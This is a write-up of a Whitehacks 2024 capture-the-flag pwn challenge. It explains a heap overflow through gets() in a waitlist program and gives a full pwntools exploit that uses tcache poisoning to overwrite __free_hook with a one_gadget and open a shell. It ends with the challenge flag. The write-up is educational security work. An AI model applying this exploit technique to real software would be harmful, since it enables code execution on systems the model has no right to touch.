Whitehacks 2024 - The Swiftie Waitlist [Pwn Writeup]

Description

Solves: 2

To deal with the overwhelming demand for the recent Swiftie concert, a waitlist system was enacted to handle the overcapacity problem. However, it’s been made aware that the program was vulnerable, and some fanatic fans have even exploited it to skip the waitlist entirely. Just how did they do it?

By GovTech

nc ctf2.whitehats.site 2005

Initial Analysis

$ ./checksec waitlist
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

------
$ ./waitlist
Welcome to the ticket portal for the Swiftie concert. Unfortunately, due to overwhelming demand, our tickets are all sold out. However, if you still wish to try for a chance to obtain one, please join our waitlist.
Here is the exit passcode to leave the waitlist should you change your mind: 140456273802736
Options:
1. Join the waitlist
2. View the waitlist
3. Leave the waitlist
4. Exit
>

Decompiling the binary in Ghidra, the main() function simply lets us choose between 3 options: joining the waitlist [add()], viewing the waitlist [delete()] and leaving the waitlist [view()].

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined4 local_18;
  int local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  ignore_me_init_buffering();
  puts(
      "Welcome to the ticket portal for the Swiftie concert. Unfortunately, due to overwhelming dema nd, our tickets are all sold out. However, if you still wish to try for a chance to obtain one , please join our waitlist."
      );
  printf("Here is the exit passcode to leave the waitlist should you change your mind: %llu\n",exit); // leaks the address of exit()
  local_14 = 0;
  local_18 = 0;
LAB_00100d18:
  while( true ) {
    while( true ) {
      while( true ) {

        /* when we pick option 4, aka exit */
        if (local_14 == 4) {
          if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
            return 0;
          }
          __stack_chk_fail();
        }

        /* prints out the options */
        local_14 = getOption();

        /* when we pick option 2, aka to view the waitlist */
        if (local_14 != 2) break;
        printf("Queue #: ");
        __isoc99_scanf(&DAT_00100e9c,&local_18);
        getchar();
        view(local_18);
      }
      if (local_14 < 3) break;

      /* when we pick option 3, aka leave the waitlist */
      if (local_14 != 3) goto code_r0x00100c7b;
      printf("Queue #: ");
      __isoc99_scanf(&DAT_00100e9c,&local_18);
      getchar();
      delete(local_18);
    }

    /* when we pick option 1, aka join the waitlist */
    if (local_14 != 1) break;
    add();
  }
  goto LAB_00100d0c;
code_r0x00100c7b:
  if (local_14 != 4) {
LAB_00100d0c:
    puts("You are not supposed to be here!");
  }
  goto LAB_00100d18;
}

Already, this is pretty reminiscent of a typical Create, View, Edit and Delete heap challenge, though interestingly without an Edit option.

Additionally, we are given the address of exit(), which means we can obtain the libc base address (since ASLR is enabled).


Let’s check out add() first, which runs when we pick option 1 to join the waitlist:

void add(void)
{
  char *__s;
  
  if ((int)listSize < 0x10) {
    __s = (char *)malloc(0x18); // Allocate a chunk
    printf("Name: ");
    gets(__s); // Vulnerable to buffer overflow
    listSize = listSize + 1;
    (&waitlist)[(int)listSize] = __s;
    printf("You are now in queue #%d\n",(ulong)listSize);
  }
  else {
    puts("ERROR: Waitlist is maxed out.");
  }
  return;
}

The binary will allocate a fixed size chunk (using malloc(0x18)) to indicate a queue number in the waitlist. The chunk will take on the value of name, which we can control based on our input.

In this case, our chunk is allocated to the address `0x555555604260`. Our chunk holds the value `HELLOTHERE`, which is the name that I had input.

Also to take note, while inputting name, the gets() function is used, which is vulnerable to buffer overflow (sus).

Afterwards, the pointer to the chunk is added to the waitlist, which is an array of max size 10.

The first element of waitlist holds the value of 0x555555604260, which is the address of the chunk at queue number 0.

Moving on to delete(), which is option 3 (leaving the waitlist):

void delete(uint param_1)
{
  if (((int)param_1 < 0) || (listSize < (int)param_1)) {
    puts("Invalid index!");
  }
  else {
    free((void *)(&waitlist)[(int)param_1]);
    printf("You have forfeited your queue #%d\n",(ulong)param_1);
  }
  return;
}

The function lets us free a chunk, based on the index on the waitlist. However, after freeing, the chunk isn’t cleared (the pointer isn’t set to NULL).


Finally, let’s check out view(), which is option 4 (viewing the waitlist):

void view(int param_1)
{
  if ((param_1 < 0) || (listSize < param_1)) {
    puts("Invalid index!");
  }
  else {
    printf("Name: %s\n",(&waitlist)[param_1]);
  }
  return;
}

Not much to say, we are able to view the value of a chunk based on the index.

Obtaining libc leak

As mentioned above, the binary directly gives us the address of exit().

Additionally, libc 2.27 was provided as part of the challenge. Using this, we can calculate the libc base address.

io.recvuntil(b'change your mind: ')
exit = int(io.recvline().strip())
print('exit:',hex(exit))

libc_base = exit - libc.sym.exit
libc.address = libc_base

print('libc_base:',hex(libc_base))

Now… moving on to the heap stuff :)

A Short Introduction to Heap & Stuff

When we use malloc(size) to allocate a chunk, a chunk of size rounded to the next 0x10 will be allocated in the heap.


The chunk consists of 2 parts - the metadata, and the user data:

  • The first 0x8 bytes is the mchunk_prev_size
    • This only applies if an adjacent chunk is free
    • Otherwise, this 0x8 bytes will be used as part of the previous chunk’s user data
  • The next 0x8 bytes represents the size of the chunk mchunk_size
    • The last 3 bits are used as “flags”, which is left as an exercise to the reader to find out
  • Finally, the rest is user data of the minimum size requested
Credits to pwn.college

Let’s demonstrate it for this binary. I have allocated a chunk with the name value: BBBBB.

  • Using heap chunks in gdb, we can see that the chunk is at the address 0x555555604260
    • Note: this address is where our user data starts (mem_addr in the image above). chunk_addr is 0x555555604260-0x10=0x555555604250.
  • The green box represents the mchunk_prev_size (not relevant in this case)
  • The orange box represents mchunk_size, which is 0x20
    • It writes 0x21 due to the abovementioned flags
  • The red box represents the user data (0x4242424242 = BBBBB)

What happens when we free the chunk? In this case, the chunk will enter tcache.

The tcache is a singly linked list. Each tcache entry will point to the next entry in the list (eg in the diagram below, A points to B). When we use malloc to allocate a new chunk, the latest entry that entered tcache will be used (so it is a last-in-first-out LIFO system).

Credits to pwn.college

Structure of a tcache entry:

  • the first 0x8 bytes next is the address of the next entry (or NULL if no next entry)
  • the next 0x8 bytes is the key (unimportant here, left as an exercise to the reader)
Credits to pwn.college

Let’s go back to our example using the binary. We free the chunk by choosing option 3 and deleting the queue number 0.

Going back to the same address, we see that our user data is now gone. Instead, we have:

  • The address of the next entry (red box), which is null because there is no next entry.
  • The key (green box)

Let’s try another situation. Restart the binary and join the waitlist twice (queue #0 and queue #1). Then, leave the waitlist for both of them.

In this case, we allocated 2 chunks and then freed both of them.

(Prior to leaving the waitlist): Two chunks have been allocated. The first one has value AAAAA and the second one has value BBBBB.

After leaving the waitlist (ie freeing the chunks), here’s the new heap layout:

  • The red boxes indicate the next entry, and green boxes indicate the key for each entry
  • We can see that for the first entry, the next entry value is null
  • However for the second entry, the next entry value is the address of the first entry

With this knowledge, how can we exploit this?

Heap overflow

As mentioned earlier, there is a buffer overflow vulnerability in add() due to gets().

void add(void)
{
  char *__s;
  
  if ((int)listSize < 0x10) {
    __s = (char *)malloc(0x18);
    printf("Name: ");
    gets(__s); // Vulnerable to buffer overflow
    listSize = listSize + 1;
    (&waitlist)[(int)listSize] = __s;
    printf("You are now in queue #%d\n",(ulong)listSize);
  }
  else {
    puts("ERROR: Waitlist is maxed out.");
  }
  return;
}

Let’s spam a bunch of characters in the name field and see what happens.

Scenario: 
1. Join the waitlist (queue #0) with name A*0x8
2. Join the waitlist (queue #1) with name B*0x8
3. Join the waitlist (queue #2) with name C*0x8
4. Leave the waitlist (queue #1)
5. Join the waitlist (queue #3, which is at the location of queue #1
        due to tcache LIFO system) with name D*0x30
6. View queue #2

After step 4:

After step 5:

We have overflowed queue #3, and have edited the chunk at queue #2

After step 6: we obtained a SIGSEGV. This means that from overflowing queue #3 into queue #2, we were able to successfully edit the chunk at queue #2 (hence crashing the binary).

Thus, this acts as a proof of concept of heap overflow in the binary, in which we can overflow values to and hence control the next chunk.

So how can we take advantage of this to get a shell?

Obtaining Shell

Through googling, I learnt that if I could allocate a chunk at __free_hook, I would be able to obtain a shell.

How can I control the location of a chunk though?

Scenario:
1. Join the waitlist 3 times (queue #0, #1, #2)
2. Leave the waitlist 3 times in the order of queue #0, #2, #1

After step 2:

When we next join the waitlist, queue #3 will take the position of queue #1 due to tcache’s LIFO system. In this case, can’t we overflow into queue #2, editing the next tcache entry of queue #2 (red box) and changing it to __free_hook instead?


Scenario (cont):
3. Join the waitlist (queue #3) and edit the "next tcache entry" of queue #2

We need to fill in the metadata of queue #2’s chunk correctly to prevent the binary from crashing.

  • Use b'A'*0x18 to fill the user input buffer of queue #3 (since our input starts at the blue box)
  • b'\x21' + b'\x00'*7 ensures that mchunk_size of queue #2 maintains as 0x21
  • p64(libc.symbols['__free_hook']) overwrites next tcache entry to __free_hook (ensure that libc base is accounted for in this address)
payload = b'A'*0x18 + b'\x21' + b'\x00'*7 + p64(libc.symbols['__free_hook'])

As such, we have successfully overwrote the tcache next entry value of queue #2. That means the next chunk allocated after allocating the chunk at queue #2 will take the location of __free_hook!

Scenario (cont):
4. Join the waitlist (queue #4, in position queue #2) and fill the name as anything
5. Join the waitlist (queue #5, at the location of __free_hook) and fill the name using one_gadget
6. Leave the waitlist (queue #5)
7. Profit :)

To explain why __free_hook works to get a shell:

  • __free_hook is called whenever free() is used.
  • one_gadget is a nifty programme to get RCE from one gadget.
  • By replacing __free_hook with one_gadget, our RCE gadget will instead be called whenever free() is used
  • Thus, by deleting a chunk (using option 4), the one_gadget will proc, leading to shell :D

Full exploit

from pwn import *

local = True

elf = context.binary = ELF('./waitlist_patched')

if not local:
    io = remote('ctf2.whitehats.site', 2005)
else:
    io = elf.process(stdin=PTY)

libc = ELF('libc.so.6')

def join(name):
    io.recvuntil(b'>')
    io.sendline(b'1')
    io.sendline(name)

def view(index):
    io.recvuntil(b'>')
    io.sendline(b'2')
    io.sendline(index)

def leave(index):
    io.recvuntil(b'>')
    io.sendline(b'3')
    io.sendline(index)

'''
get libc leak
'''

io.recvuntil(b'change your mind: ')
exit = int(io.recvline().strip())
print('exit:',hex(exit))

libc_base = exit - libc.sym.exit
libc.address = libc_base

print('libc_base:',hex(libc_base))


'''
heap overflow due to gets()
control the location of the next chunk to be at __free_hook to pop a shell
'''

join(b'AAAAA')
join(b'BBBBB')
join(b'CCCCC')
leave(b'0')
leave(b'2')

leave(b'1')

target = libc.symbols['__free_hook']
print(hex(target))

payload = b'A'*0x18 + b'\x21' + b'\x00'*7 + p64(target)
join(payload)
join(b'random')
one_gadget = 0x4f302 + libc_base
join(p64(one_gadget))

leave(b'5')
io.interactive()

# WH2024{w4ItIng_In_L1n3_f0r_c@t3g0ry_10K}